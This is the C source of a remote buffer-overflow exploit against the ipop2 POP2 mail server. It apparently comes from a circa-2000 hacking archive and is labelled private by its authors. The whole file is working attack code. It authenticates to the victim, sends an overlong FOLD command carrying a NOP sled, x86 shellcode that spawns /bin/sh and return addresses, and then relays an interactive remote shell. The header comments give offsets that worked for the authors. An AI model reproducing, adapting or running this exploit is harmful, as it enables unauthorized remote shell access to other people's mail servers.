/*
 * ipop2 remote exploit. *private* please do not distribute.
 * credit goes out to plaguez for the use of his shellcode.
 * greets: smiler, bind, fuck you SDI !
 * i had luck with offsets 0, 500, and 700
 * - xdr
 *     I fixed the alignment thing - its dependant on the hostname AND the
 *     username. Everything works fine now, for me at least. I only tried
 *     it on 2 imap accounts tho. - Smiler
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define	NOP	0x90
#define ADDR	0xbffff32c
#define POP2	109

unsigned char shellcode[] =
  "\xeb\x38\x5e\x89\xf3\x89\xd8\x80\x46\x01\x20\x80\x46\x02"
  "\x20\x80\x46\x03\x20\x80\x46\x05\x20\x80\x46\x06\x20\x89"
  "\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa"
  "\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40"
  "\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x42\x49\x4e\x2f\x53\x48";

int RunShell(int fd);

void
usage(char *data)
{
  fprintf(stderr, "ipop2 remote exploit - xdr\n\n"
          "\tvictim    - victim of attack.\n"
          "\tauth_host - host of imap under your control.\n"
          "\tuser      - username on auth_host.\n"
          "\tpassword  - password on auth_host.\n"
          "\tdelay     - time to wait for authentication.\n"
          "\toffset    - default is zero.\n\n"
          "usage: %s <victim> <auth_host> <username> <password> <delay> [offset]\n",
          data);
  exit(-1);
}

int connect_ipop2(char *);
void authenticate_ipop2(int, char *, char *, char *, char *);
void send_overflow(int, int, char *,char *);

int
main(int argc, char **argv)
{
  char buf[1024];
  int offset = 0;
  int sockfd;
  if(argc <  6) usage(argv[0]);
  if(argc == 7) offset = atoi(argv[6]);

  if((sockfd = connect_ipop2(argv[1])) == -1)
    {
      fprintf(stderr, "connection failed.\n");
      exit(-1);
    }
  authenticate_ipop2(sockfd, argv[2], argv[3], argv[4], argv[5]);
  send_overflow(sockfd, offset, argv[2],argv[3]);

  RunShell(sockfd);
  close(sockfd);
  exit(-1);
}

int RunShell(int fd)
{
  int n;
  unsigned char buf[1024];
  fd_set rset;

  while(1)
    {
      FD_ZERO(&rset);
      FD_SET(fd,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(fd+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(fd,&rset))
        {
          n = recv(fd, buf, 1024, 0);
          if (n <= 0)
            {
              fprintf(stderr,"Connection closed\n");
              return -1;
            }
          write(STDOUT_FILENO, buf, n);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n = read(STDIN_FILENO, buf, 1024);
          if (n <= 0)
            {
              return -1;
            }
          send(fd, buf, n, 0);
        }
    }
  return(1);
}

int
connect_ipop2(char *remote_host)
{
  struct sockaddr_in saddr;
  struct hostent *lookup;
  int sockfd;

  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      return -1;
    }

  if((lookup = gethostbyname(remote_host)) == NULL)
    {
      perror("gethostbyname");
      return -1;
    }

  bzero(&saddr, sizeof(struct sockaddr_in));
  saddr.sin_family	= AF_INET;
  saddr.sin_port		= htons(POP2);
  saddr.sin_addr		= *((struct in_addr *)lookup->h_addr);

  printf("connecting to %s on port %d...", remote_host, POP2);
  fflush(stdout);
  if(connect(sockfd, (struct sockaddr *)&saddr,
             sizeof(struct sockaddr_in)) == -1)
    {
      perror("connect");
      return -1;
    }

  printf("connected.\n");
  fflush(stdout);
  return sockfd;
}
void
authenticate_ipop2(int sockfd, char *phost, char *user, char *pass, char *delay)
{
  char buf[1024];
  int i;

  printf("Authenticating with the POP2 server. Giving it %s seconds to breathe.\n", delay);
  fflush(stdout);
  sleep(3);
  snprintf(buf, 1024, "HELO %s:%s %s\r\n", phost, user, pass);
  if(send(sockfd, buf, strlen(buf), 0) == -1)
    perror("send"), exit(-1);

  sleep(atoi(delay));
  puts("");
}

void
send_overflow(int sockfd, int offset, char *shit,char *shit2)
{
  char buf[1019];
  int i, adjust;
  char *ptr;

  if ((ptr = strchr(shit,' '))) *ptr = 0;
  if ((ptr = strchr(shit,'\r'))) *ptr = 0;
  if ((ptr = strchr(shit,'\n'))) *ptr = 0;
  printf("%s\n",shit);
  adjust = strlen(shit) + 1 - strlen(shit2);
  memset(buf, NOP, 1019);
  memcpy(buf, "FOLD ", strlen("FOLD "));
  //	if(strlen(shit) % 2) adjust--;
  for(i = 865+adjust;i < 1019-4;i += 4)
    *(long *)&buf[i] = ADDR + offset;
  memcpy(buf+791, shellcode, strlen(shellcode));

  buf[1016] = '\r';
  buf[1017] = '\n';
  buf[1018] = '\0';

  if(send(sockfd, buf, strlen(buf), 0) == -1)
    perror("socket"), exit(-1);

  printf("Have fun :>\n");
}
/*                    www.hack.co.za              [2000]*/